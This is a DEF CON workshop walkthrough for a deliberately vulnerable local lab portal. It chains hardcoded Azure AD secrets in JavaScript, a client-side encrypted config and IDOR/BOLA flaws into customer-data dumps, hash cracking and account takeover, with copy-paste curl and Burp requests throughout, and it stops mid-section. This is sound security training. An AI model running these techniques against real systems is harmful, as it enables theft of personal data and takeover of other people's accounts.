RED TEAM VILLAGE · DEF CON 34

Four Values in a JavaScript File

Credential to Account Takeover

Where: Workshop Stage 1 **When:** Sun Aug 9 · 10:00–11:00 AM PT **Speaker:** Hemanth Gorijala

A hands-on, step-by-step walkthrough of two production-grade credential exposure chains — from a JavaScript file to full account takeover. Everything runs locally against `localhost:3000`, no external connectivity required.

Safety note. All credentials in InsecureShield are *synthetic* — pattern-valid but no working external service stands behind them. The portal also has its own local backend that mimics the Azure APIM token-exchange flow, so every chain replays end-to-end against `localhost:3000` with zero external dependencies. Treat it like a CTF target on a private network. Do not deploy it to a public host.

What you'll do in the next 30 minutes

① Clone and run InsecureShield (5 min) · ② Chain 1 — Azure AD credentials in `main.js` → 4,999 customer records → hash-crack → log in as the customer (15 min) · ③ Chain 2 — encrypted blob decrypted with `decrypt.py` → superadmin token → DB connection string (10 min) · ④ Extra credit — IDOR, no-password account takeover, and a key leaked in the WebSocket handshake

Prerequisites — install these BEFORE the session (con wifi is unreliable)

- **Node.js 18+ and npm** — runs the lab. Check with `node -v`; install from `nodejs.org`.
- **Burp Suite Community Edition** (free) — download & install from portswigger.net/burp/communitydownload. You send the raw HTTP requests from Burp Repeater. *No Burp? Every step also has a copy-paste `curl` command below — a terminal is all you need.*
- **Git** — to clone the repo.
- **Python 3** — runs the bundled `crack.py` / `decrypt.py` (ships on macOS/Linux; on Windows use python.org or WSL). No `pip install` needed.
- **A modern browser with DevTools** — Chrome, Firefox, or Safari.
- **SecretSifter extension** — ships in this repo at `tools/secretsifter-store-1.2.42.jar`; load it in Burp, no build required.

Do the `git clone` + `npm install` + Burp install on hotel/home wifi before arriving. The con network is hostile.

1 Setup — 5 minutes

With the prerequisites above installed, clone and start the lab:

```
git clone https://github.com/secretsifter/insecureshield-demo.git
cd insecureshield-demo
npm install
npm start
```

The app listens on `http://localhost:3000`. Open the URL — you should see the "InsecureShield Client Portal" login page.

The demo ships with three small helper scripts at the project root — you'll use them in Chain 1 (hash crack) and Chain 2 (blob decrypt):

HELPER SCRIPTS IN THIS REPO

- `decrypt.py` — reverses the CryptoJS-encrypted blob in `main.js`. Wraps the system `openssl` binary, zero pip dependencies.
- `crack.py` — reverses a captured `SHA-256(password+salt)` hash. Reads `HASH:SALT` on stdin, tries every entry in `wordlist.txt`.
- `wordlist.txt` — ~5,000 entries: real-world common passwords plus generated patterns. Append your own line-by-line.

All three live at the *root* of the cloned repo (next to `server.js`) — that's where the relative-path reads expect to find each other. Run them from the project directory: `cd insecureshield-demo && python3 decrypt.py`.

No `pip install` required for either script — both run on stock Python 3.

LOAD SECRETSIFTER IN BURP (NO BUILD REQUIRED)

The prebuilt extension JAR ships in the same clone at `tools/secretsifter-store-1.2.42.jar`. In Burp: **EXTENSIONS → INSTALLED → ADD** → Extension type *Java* → select that JAR. Proxy InsecureShield through Burp and every request/response below is scanned live — the "SecretSifter catches" callouts throughout this guide tell you what to expect on each step.

FIRST, DO YOUR RECON — OPEN `/JS/APP.JS`

Before you send a single request, open `http://localhost:3000/js/app.js` in your browser. Nothing in this guide is a value you couldn't find here yourself — a single-page app ships its whole API client to the browser, so the endpoints, methods, and request bodies are all in the JavaScript you already downloaded. Three things to notice:

- An **ENDPOINT CATALOG** is written as a comment near the top — every route, its method, and its body schema (`POST /api/login {email,password}`, `PUT /api/profile/password {id?,currentPassword?,newPassword}`, the two `/api/admin/*` routes, and more).
- The real `fetch()` calls show the two headers every data API requires: `Authorization: Bearer <token>` and `Ocp-Apim-Subscription-Key`.
- Each request body below is built in this file in plain sight — so when a step shows a JSON body, you're reading the app's own code, not guessing field names.

The token endpoint is self-documenting too: `POST /api/auth/generate-token` with an empty body returns `{"error":"appId, appKey and resourceKey are required …"}`, naming the exact parameters it wants.

2 Chain 1 — Azure AD credentials in JavaScript

This is the chain that started the talk. Two bug-bounty reports flagged "hardcoded credentials" and stopped there. The question that wouldn't go away: *what do they actually unlock?*

2.1 The HTML-comment leak

Action: right-click anywhere on the login page → **View Page Source**. Or open `view-source:http://localhost:3000/`.

Scroll to the top of the HTML. You'll see comments that look like a TODO note from a developer:

```
<!-- Internal API config — TODO: move to vault before prod release
     api_gateway_url:       https://acme-portal-api.azure-api.net/v2
     apim-subscription-key: a1b2c3d4e5f6789012345678901234ab
     dev_admin:             admin@acme-portal.com / (password rotated to Key Vault)
```

```
    db_conn:                Server=prod-db.acme-portal.internal;Database=AcmePortalDB;User Id=sa;Pas...
-->
```

WHAT YOU'LL FIND

API gateway URL, APIM subscription key, the admin's *email*, and a prod DB connection string. All visible to anyone who right-clicks.

WHY IT MATTERS

The comment says "TODO: move to vault before prod release" — which means it never happened. Note the admin *password* was moved out ("rotated to Key Vault"), but the email stayed. Hold onto that email — you'll recover the matching password in Chain 2 and log in as admin.

WITHOUT TOOLS

Browser DevTools, no JavaScript engagement required. Anyone with a right-click button finds this in seconds.

SECRETSIFTER CATCHES

DB password, admin email, and APIM subscription key in the HTML response at
HIGH
severity,
CERTAIN
confidence.

2.2 The Azure AD application credentials in main.js

Action: open `http://localhost:3000/js/main.js` directly in your browser. Search for `AZURE_AD_CONFIG`.

```
var AZURE_AD_CONFIG = {
    tenantId:    "1a2b3c4d-5e6f-7890-abcd-ef1234567890",
    appId:       "8f4e2d1c-9b3a-4f6e-8a7d-2c1b9e5f4a3d",
    appKey:      "Ins~K3y.qX7vN9bM4dZ8mP2hT5wL1eC6rJ0aFgYi==",
    resourceId:  "https://acme-portal-api.azure-api.net",
    resourceKey: "R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA==",
    authority:   "https://login.microsoftonline.com/1a2b3c4d-..."
};

var APIM_CONFIG = {
    subscriptionKey: "a1b2c3d4e5f678901234567890123 4ab",
    ...
};
```

WHAT YOU'LL FIND

The complete OAuth2 `client_credentials` set: `appId` (client ID), `appKey` (client secret), `resourceKey` (target API access key), and the APIM `subscriptionKey` in the next config block.

WHY IT MATTERS

These values authenticate as the *application identity*, not a user. Whoever downloads `main.js` can mint a Bearer token and call every API the application is permitted to call.

WITHOUT TOOLS

Search `main.js` in DevTools (`Cmd+F`) for "AZURE", "appKey", or "subscription". The file header reads "Generated by build pipeline" — confirming it wasn't committed to source.

SECRETSIFTER CATCHES

All values labeled by their developer-given names: `appKey`, `resourceKey`, `subscriptionKey`. Plus `tenantId` and `appId` at INFO severity.

2.3 Mint an access token — Burp Repeater

TWO WAYS TO SEND EVERY REQUEST — PICK YOUR TRACK

BURP REPEATER

(the raw request shown in each step) or
CURL

(a copy-paste block right under it — no Burp needed). The curl track uses two shell variables: this first step sets `$TOKEN` (your access token) and `$SUB` (the subscription key); later steps reuse them. Paste the commands into *one terminal, in order*, and the variables carry through.

Burp gotcha — set `Content-Type: application/json` on every request that has a body. The server only parses JSON bodies. When you type a body into Repeater, Burp often auto-adds `Content-Type: application/x-www-form-urlencoded` instead — the server then ignores your body and you get a confusing **400** (e.g. "New password must be at least 6 characters" even when it's 10). Fix the header to `application/json` and resend. This applies to steps 2.3, 2.8, 3.3, and 4.3. *(curl users: the curl blocks already set this header correctly.)*

The portal's local backend mimics the Azure APIM token-exchange flow. POST the three Azure AD values as headers, the server returns a real Bearer token plus an echoed `resource_key`.

```
POST /api/auth/generate-token HTTP/1.1
Host: localhost:3000
Content-Type: application/json
appId:        8f4e2d1c-9b3a-4f6e-8a7d-2c1b9e5f4a3d
appKey:       Ins~K3y.qX7vN9bM4dZ8mP2hT5wL1eC6rJ0aFgYi==
resourceKey:  R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA==

{}
```

CURL — COPY & PASTE (NO BURP NEEDED):

```
SUB=a1b2c3d4e5f67890123456789012345678901234ab
TOKEN=$(curl -s -X POST http://localhost:3000/api/auth/generate-token \
  -H 'Content-Type: application/json' \
  -H 'appId: 8f4e2d1c-9b3a-4f6e-8a7d-2c1b9e5f4a3d' \
  -H 'appKey: Ins~K3y.qX7vN9bM4dZ8mP2hT5wL1eC6rJ0aFgYi==' \
  -H 'resourceKey: R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA==' \
  -d '{}' | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
echo "$TOKEN"    # your admin Bearer token, reused by every step below
```

Expected response (200 OK):

```
{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....",
  "resource_key": "R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA==",
  "token_type":   "Bearer",
  "expires_in":   14400,
  "scope":        "policies.read claims.read users.read"
}
```

Notice the `resource_key` echo — a second copy of a secret crosses the wire *in the response body*. Burp's SecretSifter response scanner picks that up as a separate finding.

2.4 Use the token + subscription key — exfiltrate the customer table

The data APIs require *both* the Bearer token (issued in 2.3) AND the APIM `Ocp-Apim-Subscription-Key` header — same as a real Azure APIM gateway. Stage a second Repeater tab:

```
GET /api/users HTTP/1.1
Host: localhost:3000
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....
Ocp-Apim-Subscription-Key: a1b2c3d4e5f67890123456789012345678901234ab
```

CURL — COPY & PASTE:

```
curl -s http://localhost:3000/api/users \
  -H "Authorization: Bearer $TOKEN" \
  -H "Ocp-Apim-Subscription-Key: $SUB" \
  | python3 -c "import sys,json;d=json.load(sys.stdin);print(len(d['users']),'records; first
record:',d['users'][0])"

# negative check — drop the sub-key, get 401:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:3000/api/users -H "Authorization: Bearer $TOKEN"
```

Expected response: 4,999 customer records. For each customer: `id`, `name`, `email`, `dob`, `phone`, `ssn`, `address`, plus a `passwordHash` and `salt` (steps 2.6 – 2.8 use these).

Quick negative check. Drop either header and resend — the server returns **401** in both cases. That's the gateway requiring both credentials to be valid.

2.5 Land the Chain 1 punchline — `/api/stats`

```
GET /api/stats HTTP/1.1
Host: localhost:3000
Authorization: Bearer eyJhbGc...
Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab
```

CURL — COPY & PASTE:

```
curl -s http://localhost:3000/api/stats \
  -H "Authorization: Bearer $TOKEN" -H "Ocp-Apim-Subscription-Key: $SUB"
```

Expected response:

```
{
  "totalCustomers": 4999,
  "totalPolicies":  26,
  "totalClaims":    15,
  "openClaims":     3,
  "totalExposure":  417350
}
```

> **PUNCHLINE READ ALOUD:**
> *"$417,350 in claims exposure across 4,999 customers — from a key the JavaScript handed me."*

2.6 Post-exfil impact — the response is also a credential dump

The `/api/users` response from step 2.4 didn't just leak names and emails. Every record carried a `passwordHash` and a `salt`. That makes the response a *credential dump* — and credential dumps fuel account takeover. The hashing scheme is visible in `data/db.js`:

```
const salt = crypto.createHash('md5').update(c.id + ':salt').digest('hex').slice(0, 16);
const hash = crypto.createHash('sha256').update(c.password + salt).digest('hex').toUpperCase();
```

Format: `SHA-256(password + salt)`, uppercase hex. A pentester would identify this from the hash shape alone (64 hex chars = 256 bits = SHA-256). Hashcat mode `1410` fits exactly.

2.7 Reverse the captured hash with `crack.py`

The companion `crack.py` reads `HASH:SALT` on stdin and tries every entry in `wordlist.txt` (~5,000 patterns — `password`, `Pass@1234`, `P@ssw0rd`, `Welcome2024`, …):

```
echo 'C123F6BF928BA0182E22850B0D3A56731620D94E493D1741F50BC66C0EFC0A91:cb590adac3c2f4af' \
  | python3 crack.py
```

Expected output (instant — under 100ms on any laptop):

```
C123F6BF928BA018…  →  Pass@1234
```

WHAT YOU'LL FIND

The captured hash for James Mitchell (`CUST-001`) cracks to `Pass@1234` . Mass crack: pipe all 4,999 `HASH:SALT` pairs from the response through `crack.py` and watch every weak password fall.

WHY IT MATTERS

The hashing is technically "salted" — but salts only defeat rainbow tables, not per-account dictionary attacks. A small ~5,000-entry wordlist cracks every common password instantly. Real rockyou.txt has 14M entries.

WITHOUT TOOLS

Replace `crack.py` with three lines of Python plus a wordlist, or use hashcat `-m 1410` with rockyou.txt — same flow, different tooling.

MASS-CRACK ONE-LINER

Pipe the API response through `jq` :
`curl … /api/users | jq -r '.users[] | "\(.passwordHash):\(.salt)"' | python3 crack.py`

2.8 Log in as the customer — Burp Repeater

Cracking a hash is theoretical until you use the password. Stage one more Repeater request:

```
POST /api/login HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{"email":"james.mitchell@gmail.com","password":"Pass@1234"}
```

CURL — COPY & PASTE:

```
curl -s -X POST http://localhost:3000/api/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"james.mitchell@gmail.com","password":"Pass@1234"}'
```

Expected response:

```
{
  "IsSuccess":  true,
  "token":     "eyJhbGc...",
  "role":      "customer",
  "name":      "James Mitchell",
  "customerId":"CUST-001"
}
```

The portal just authenticated you as James Mitchell. With that customer JWT (+ the APIM subscription key) you can read his profile, his policies, his claims — anything the portal exposes for the account.

CHAIN 1 CLOSING LINE:

"From a leaked subscription key, to 4,999 hashed credentials, to a plaintext password in a small local wordlist, to logged in as the customer — in under two minutes. No phishing. No social engineering. Just the JavaScript file the browser downloaded."

3 Chain 2 — Client-side encryption is not protection

A developer "knows credentials in JavaScript are bad" and encrypts the config blob. The question: *where does the decryption key live?* Spoiler — three lines below the ciphertext.

3.1 Find the ciphertext and the key — three lines apart

Action: still in `main.js`, search for `ENCRYPTED_SP_CONFIG`.

```
// line 40
var ENCRYPTED_SP_CONFIG = "U2FsdGVkX1+SjyqRr+Wa5TUxIW5JIYPKVVHbdmtqoBoWKiMa4QMcf6rXQ/YFFKJfp...";

// line 43
var SP_CONFIG_KEY = "InsecureShield-Config-Key-2024Q4";

// line 46-48 — decryption runs in the browser at page load
var SECURE_SP = JSON.parse(
    CryptoJS.AES.decrypt(ENCRYPTED_SP_CONFIG, SP_CONFIG_KEY).toString(CryptoJS.enc.Utf8)
);
```

The prefix `U2FsdGVkX1+` is base64 of `Salted__` — the signature of a CryptoJS / OpenSSL "passphrase mode" blob. Recognizing that prefix on sight is a useful pentester skill.

WHAT YOU'LL FIND

The ciphertext, the key, and the decrypt call — all in the same file the browser already downloaded. The encryption protects nothing because the decryption runs client-side.

WHY IT MATTERS

If the browser can decrypt it, the key has to be in the browser. This pattern shows up in real engagements every quarter — the developer's intent was reasonable, the threat model was wrong.

WITHOUT TOOLS

Open the InsecureShield page in your browser, open DevTools console, and type `window.APP_CONFIG.secureSp`. The page already decrypted it on load — you're just reading the result.

SECRETSIFTER CATCHES

`ENCRYPTED_SP_CONFIG` as a HIGH/FIRM finding — the encrypted blob itself is the evidence. No other tool in the comparison flags this pattern.

3.2 Reverse the blob with `decrypt.py` — one line

The demo ships a tiny Python helper at the project root. It wraps the system `openssl` binary (zero pip-install dependencies). Pipe the blob in on stdin — the complete value is below, copy the whole thing:

```
echo 'U2FsdGVkX1+SjyqRr+Wa5TUxIW5JIYPKVVHbdmtqoBoWKiMa4QMcf6rXQ/
YFFKJfpDIdURMxdgOAjZ5SeLCXxUsXDqskoIvkU6YGSL19UAn1S21Sz0zeYDib7X+1+xEIXRIYIeqvP+o8Ux1u+FGIFGUltONuWRh0oPy7
XAjn7nuN7ZapZuPp9JeBjWQdgmXDrLP6lQNMRpI28gBkEZGuozLKSn4ZKVO90aV5oG8vBAA+DbiG3W7CJfFe55606IbA9s8elDiMpUfnMC
aNZfepEGITt7XAxqJoGORhfPE9un/thxO8YakbQdqqOdP/
bTvAWcESk+hbfVbLWj3jMnpo97NK0gq6RCovWHMfesCQ1H5WVzNTjSKcI1EcgOcsz3sTvtUkMYaZO7A6gx0ng1lHgaYRSn8hXpDi5kxklx5
0TzstS7Y3lVMB/pBUBmhCqUkJE3eclAPnT+yEOAdq8xKtAZa9Or3aulZ1bi0dc5pEYn9cOCHd/KLZbXLlFCl/gxj31IerT30V19/
iqOq8bNrDcKObj1e2VCqq8wtAR4nM0NrCa1TTl3SKCg/
p3FUOkOfGIqFuSYknARqJGLaTunib62bFqtFyRL7CVqMy5q+Ao3a2x5xqnBWcz1zJecsJMBL/' \
  | python3 decrypt.py
```

Prefer not to copy 640 characters? Read it out of the file instead: `grep -oE 'ENCRYPTED_SP_CONFIG *= *"[^"]+"' public/js/main.js` and paste what's between the quotes. Or in DevTools, just type `ENCRYPTED_SP_CONFIG` in the console.

Expected output:

```
{
  "tenantId":    "7c1064ea-b8c7-402f-bb82-76aaccc91dc4",
  "appId":       "9a8b7c6d-5e4f-3a2b-1c0d-ef9876543210",
```

```
  "appKey":      "AdmIn~App.Q4-2024.7vR3xW5tY1uO4sD6jF~AcmePortal",
  "resourceId":  "https://acme-portal-api.azure-api.net/admin",
  "resourceKey": "AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW==",
  "authority":   "https://login.microsoftonline.com/7c1064ea-...",
  "scope":       "admin.config.read admin.diagnostics admin.dbconn",
  "rotated_at":  "2024-10-15T00:00:00Z"
}
```

> **THE REVEAL:**
> a *second* Azure AD application registration was hidden in the blob — different `appId`, different `appKey`, different `resourceKey` from the public values in step 2.2. The "encryption" layer didn't protect a database connection string. It protected a more-privileged Azure app.

3.3 Mint a SUPERADMIN token — same endpoint, different keys

The portal's `/api/auth/generate-token` endpoint accepts both credential sets. The public Azure AD creds (step 2.3) return a regular `admin` token. The *decrypted admin Azure AD creds* return a **superadmin** token with a different scope. Same endpoint, different role.

```
POST /api/auth/generate-token HTTP/1.1
Host: localhost:3000
Content-Type: application/json
appId:        9a8b7c6d-5e4f-3a2b-1c0d-ef9876543210
appKey:       AdmIn~App.Q4-2024.7vR3xW5tY1uO4sD6jF~AcmePortal
resourceKey:  AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW==

{}
```

CURL — COPY & PASTE (SETS `$STOK`, THE SUPERADMIN TOKEN):

```
STOK=$(curl -s -X POST http://localhost:3000/api/auth/generate-token \
  -H 'Content-Type: application/json' \
  -H 'appId: 9a8b7c6d-5e4f-3a2b-1c0d-ef9876543210' \
  -H 'appKey: AdmIn~App.Q4-2024.7vR3xW5tY1uO4sD6jF~AcmePortal' \
  -H 'resourceKey: AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW==' \
  -d '{}' | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
echo "$STOK"
```

Expected response:

```
{
  "access_token": "eyJhbGc....",   // role:superadmin, source:sp
  "resource_key": "AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW==",
  "token_type":   "Bearer",
  "expires_in":   14400,
  "scope":        "admin.config.read admin.diagnostics admin.dbconn"
}
```

3.4 Reach the admin endpoint the public token couldn't touch

First, prove the boundary. Take the *public* admin token from step 2.3 (role `admin`, source `apim`) and aim it at the admin endpoint. The gateway rejects it — the token is valid, but its role isn't privileged enough:

```
GET /api/admin/internal-config HTTP/1.1
Host: localhost:3000
Authorization: Bearer <public token from step 2.3>
Ocp-Apim-Subscription-Key: a1b2c3d4e5f678901234567890123456ab
```

```
HTTP/1.1 403 Forbidden
{"error":"SP-sourced token required"}
```

Now swap in the superadmin token from step 3.3. Same URL, same subscription key — only the token changed:

```
GET /api/admin/internal-config HTTP/1.1
Host: localhost:3000
Authorization: Bearer <superadmin token from step 3.3>
Ocp-Apim-Subscription-Key: a1b2c3d4e5f678901234567890123456789012345678901234ab
```

CURL — COPY & PASTE (PUBLIC TOKEN → 403, THEN SUPERADMIN → 200):

```
# public token from step 2.3 is rejected:
curl -s -o /dev/null -w "public token -> %{http_code}\n" http://localhost:3000/api/admin/internal-config \
  -H "Authorization: Bearer $TOKEN" -H "Ocp-Apim-Subscription-Key: $SUB"

# superadmin token from step 3.3 gets the prod config:
curl -s http://localhost:3000/api/admin/internal-config \
  -H "Authorization: Bearer $STOK" -H "Ocp-Apim-Subscription-Key: $SUB"
```

Expected response (200 OK):

```
{
  "IsSuccess": true,
  "config": {
    "jwt_secret_fingerprint": "SHA256:84396fae75145477",
    "db_conn_string":         "Server=prod-db.acme-portal.internal;Database=AcmePortalDB;User Id=sa;Password=
    "apim_subscription_key":  "a1b2c3d4e5f678901234567890123456789012345678901234ab",
    "admin_email":            "admin@acme-portal.com",
    "admin_password":         "InsecureShield@2024",
    "internal_services": [
      "https://claims-svc.acme-portal.internal/api/v1",
      "https://policy-svc.acme-portal.internal/api/v1",
      "https://reporting.acme-portal.internal/api"
    ]
  }
}
```

The config leaks the prod DB connection string *and* the admin portal password — the same admin whose email you spotted in the view-source comment back in step 2.1. The password that was "rotated to Key Vault" is sitting right here in plaintext.

3.5 Log in to the portal as admin — the human-facing payoff

The superadmin token was an API credential. Now use the recovered pair to log in to the actual portal UI, the way a real admin does. In the browser, open `http://localhost:3000` and sign in — or prove it in Repeater:

```
POST /api/login HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{"email":"admin@acme-portal.com","password":"InsecureShield@2024"}
```

CURL — COPY & PASTE:

```
curl -s -X POST http://localhost:3000/api/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"admin@acme-portal.com","password":"InsecureShield@2024"}'
```

Expected response:

{"IsSuccess":true,"token":"eyJhbGc...","role":"admin","name":"Admin User"}

PUNCHLINE READ ALOUD:

"The 'encrypted' configuration hid an Azure admin app. That admin app unlocked the production database connection string and the admin portal password — so I am now logged into the portal as the administrator. The encryption added one openssl call to the attack chain."

4 Extra credit — bonus attack primitives

The two chains are the headline. But once you hold a valid Bearer token and the APIM subscription key, the same portal hands you four more textbook flaws. These are the workshop "fast finisher" tasks — each is a single Repeater request (or curl one-liner). Every request below needs *both* the `Authorization: Bearer` header (`$TOKEN` from step 2.3) and the `Ocp-Apim-Subscription-Key` (`$SUB`), exactly like the data APIs.

> **WHERE THESE PARAMETERS COME FROM — YOU'RE NOT GUESSING**
>
> The `?id=` query params and the JSON body fields (`id`, `newPassword`, `userProfileID`) below are all disclosed by the client. The endpoint-catalog comment near the top of `/js/app.js` lists each route with its body schema, and the app's own code constructs these exact bodies. The change-password handler, for example, reads:
>
> ```
> const body = targetId ? { id: parseInt(targetId, 10), newPassword: newPwd }
>                       : { currentPassword: currentPwd, newPassword: newPwd };
> ```
>
> So the field names aren't a secret — the exploit is that a legitimate, documented request shape has no authorization check behind it. Recon step: read `app.js`, or trigger the feature once in the UI and read the request in Burp's HTTP history.

4.1 Skip the crack — read the hash straight out of a "reset" endpoint

Chain 1 dumped every hash from `/api/users`. There's a quieter path: a legacy password-reset lookup that returns one user's credential material by id, with no ownership check.

```
GET /api/profile/password?id=1 HTTP/1.1
Host: localhost:3000
Authorization: Bearer eyJhbGc...
Ocp-Apim-Subscription-Key: a1b2c3d4e5f678901234567890123 4ab
```

CURL — COPY & PASTE:

```
curl -s "http://localhost:3000/api/profile/password?id=1" \
  -H "Authorization: Bearer $TOKEN" -H "Ocp-Apim-Subscription-Key: $SUB"
```

Expected response:

```
{
  "IsSuccess":     true,
  "userProfileID": 1,
  "userName":      "James Mitchell",
  "email":         "james.mitchell@gmail.com",
  "role":          "customer",
  "passwordHash":  "C123F6BF928BA0182E22850B0D3A56731620D94E493D1741F50BC66C0EFC0A91",
  "salt":          "cb590adac3c2f4af"
}
```

Increment `id` to walk the whole customer base one record at a time. Feed the `passwordHash:salt` straight into `crack.py` from step 2.7. Same hash for James Mitchell you cracked before — this endpoint just hands it over without the 4,999-record dump.

4.2 IDOR — read any customer's full profile

The profile endpoint honours an `?id=` query parameter and never checks that the id belongs to you.

```
GET /api/profile?id=2 HTTP/1.1
Host: localhost:3000
Authorization: Bearer eyJhbGc...
Ocp-Apim-Subscription-Key: a1b2c3d4e5f678901234567890123 4ab
```

CURL — COPY & PASTE (INCREMENT ID TO WALK THE CUSTOMER BASE):

```
curl -s "http://localhost:3000/api/profile?id=2" \
  -H "Authorization: Bearer $TOKEN" -H "Ocp-Apim-Subscription-Key: $SUB"
```

Expected response:


```
{
  "id":          "CUST-002",
  "name":        "Sarah Thompson",
  "email":       "sarah.thompson@outlook.com",
  "dob":         "1985-07-22",
  "phone":       "415-555-0202",
  "ssn":         "XXX-XX-8832",
  "address":     "78 Maple Ave, San Francisco, CA 94103",
  "salt":        "4329e437404ef2f8",
  "passwordHash":"A917B980DA07B1051F071DCBD0CDA0BAED53567AEEE5E92B2E4765631ED4FEEF",
  "numericId":   2
}
```


> **WHY IT MATTERS:**
> a single incrementing integer is the only thing between an authenticated user and every other user's PII. This is *OWASP API #1 — Broken Object Level Authorization*, the most-reported API flaw of the last three years.

4.3 Account takeover with no password — the BOLA reset

The reset endpoint accepts two body shapes — *both* are spelled out in `app.js` (the `targetId` branch shown in the callout above). Send `{ currentPassword, newPassword }` and it verifies the current password for *your* account. Send `{ id, newPassword }` and it changes *anyone*'s password — no current password, no ownership check. That second shape is the app's own admin-reset path; the bug is that the server never confirms you're an admin.

```
PUT /api/profile/password HTTP/1.1
Host: localhost:3000
Authorization: Bearer eyJhbGc...
Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab
Content-Type: application/json

{"id":4,"newPassword":"Owned#2026"}
```

CURL — COPY & PASTE:

```
curl -s -X PUT http://localhost:3000/api/profile/password \
  -H "Authorization: Bearer $TOKEN" -H "Ocp-Apim-Subscription-Key: $SUB" \
  -H 'Content-Type: application/json' \
  -d '{"id":4,"newPassword":"Owned#2026"}'
```

Expected response:


```
{"message":"Password updated","userId":"CUST-004"}
```


Getting `{"error":"New password must be at least 6 characters"}` even though yours is longer? That's the Content-Type gotcha from step 2.3 — the header is `x-www-form-urlencoded`, so the server never read the body. Set it to `application/json` and resend.

Now log in as that user with the password *you just set* — no cracking required (id 4 is Emily Davis, `emily.davis@gmail.com`):

```
POST /api/login HTTP/1.1
Host: localhost:3000
Content-Type: application/json
```

```
{"email":"emily.davis@gmail.com","password":"Owned#2026"}
```

CURL — COPY & PASTE:

```
curl -s -X POST http://localhost:3000/api/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"emily.davis@gmail.com","password":"Owned#2026"}'
```

```
{
  "IsSuccess":  true,
  "token":     "eyJhbGc...",
  "role":      "customer",
  "name":      "Emily Davis",
  "customerId":"CUST-004"
}
```

This step writes to the in-memory dataset — it changes id 4's password for the life of the running server. A restart (`npm start`) resets every account, so you can re-run the workshop from a clean state. Id 4 is used here so it doesn't disturb the CUST-001 hash-crack demo in Chain 1.

> **CONTRAST WITH CHAIN 1:**
> steps 2.6–2.8 took over an account by *cracking* a leaked hash — realistic, but it depends on a weak password. This path takes over *any* account, strong password or not, because the server never checks who you are. Two different bugs, same outcome: logged in as someone else.

4.4 User enumeration — `/api/account/info`

A lookup-by-id primitive that maps an integer to a name, email, and policy number. Loop it to build a target list before the attacks above.

```
POST /api/account/info HTTP/1.1
Host: localhost:3000
Authorization: Bearer eyJhbGc...
Ocp-Apim-Subscription-Key: a1b2c3d4e5f678901234567890123456789012345678901234ab
Content-Type: application/json

{"userProfileID":3}
```

CURL — COPY & PASTE:

```
curl -s -X POST http://localhost:3000/api/account/info \
  -H "Authorization: Bearer $TOKEN" -H "Ocp-Apim-Subscription-Key: $SUB" \
  -H 'Content-Type: application/json' \
  -d '{"userProfileID":3}'
```

```
{
  "IsSuccess":     true,
  "userProfileID": 3,
  "userName":      "Robert Chen",
  "email":         "robert.chen@yahoo.com",
  "policyNumber":  "POL-10004"
}
```

4.5 The secret in the WebSocket handshake

Secrets don't only live in HTTP responses. The portal opens a live-notifications socket, and its very first frame — the welcome message — carries an internal API key. Point Burp's WebSocket history (or a one-line Node client) at it:

```
GET /ws/notifications?token=eyJhbGc... HTTP/1.1
Host: localhost:3000
Upgrade: websocket
Connection: Upgrade
```

NO BURP? COPY & PASTE (CURL CAN'T SPEAK WEBSOCKET — USE NODE OR WEBSOCAT):

```
# Node one-liner — run from the cloned repo dir (the ws module ships in node_modules):
node -e "const W=require('ws');const w=new W('ws://localhost:3000/ws/notifications?
token=demo');w.on('message',m=>{console.log(m.toString());process.exit(0)})"

# or with websocat (brew install websocat):
echo | websocat "ws://localhost:3000/ws/notifications?token=demo"
```

First frame the server sends (unprompted):

```
{
  "type":    "welcome",
  "message": "Connected to InsecureShield live notifications",
  "server":  "prod-ws.acme-portal.internal",
  "apiKey":  "ws-internal-key-7f3a9b2c1d4e5f6a"
}
```

WHAT YOU'LL FIND

An internal hostname (`prod-ws.acme-portal.internal`) and an API key pushed to the client the instant the socket opens — before any authentication challenge on the socket itself.

WHY IT MATTERS

WebSocket traffic is a blind spot for most scanners and most reviewers. The token is even passed in the query string (`?token=`), so it lands in proxy logs and browser history too.

WITHOUT TOOLS

Browser DevTools → Network → WS tab → click the connection → Messages. The welcome frame is right there.

SECRETSIFTER CATCHES

The `apiKey` in the WebSocket message body — SecretSifter scans WS frames, not just HTTP responses.

5 Additional credentials — where else they hide

The three chains aren't the only credentials in the bundle. InsecureShield scatters secrets across several files — each representing a different real-world delivery pattern. Walk these to build the muscle memory for production audits.

5.1 /js/env.js — build-time env-var injection

Pattern: Webpack `DefinePlugin` or `NEXT_PUBLIC_*` inlining. The developer wrote `process.env.STRIPE_SECRET_KEY`; the build replaced it with the literal string.

What you'll find: Stripe live key, SendGrid key, AWS access key + secret, Stripe webhook secret, Twilio auth token + account SID, `INTERNAL_API_KEY`, S3 bucket name. Every one of these visible in Burp's response pane on every page load.

5.2 /js/firebase.js — Google Cloud service-account leak

Pattern: Static config import. The developer literally pasted the Firebase service-account JSON into the client bundle.

What you'll find: Google API key, PEM RSA private key, `private_key_id`, Firebase database URL, service account email, Firebase `client_id`.

5.3 /asset-manifest.json — manifest-file leak

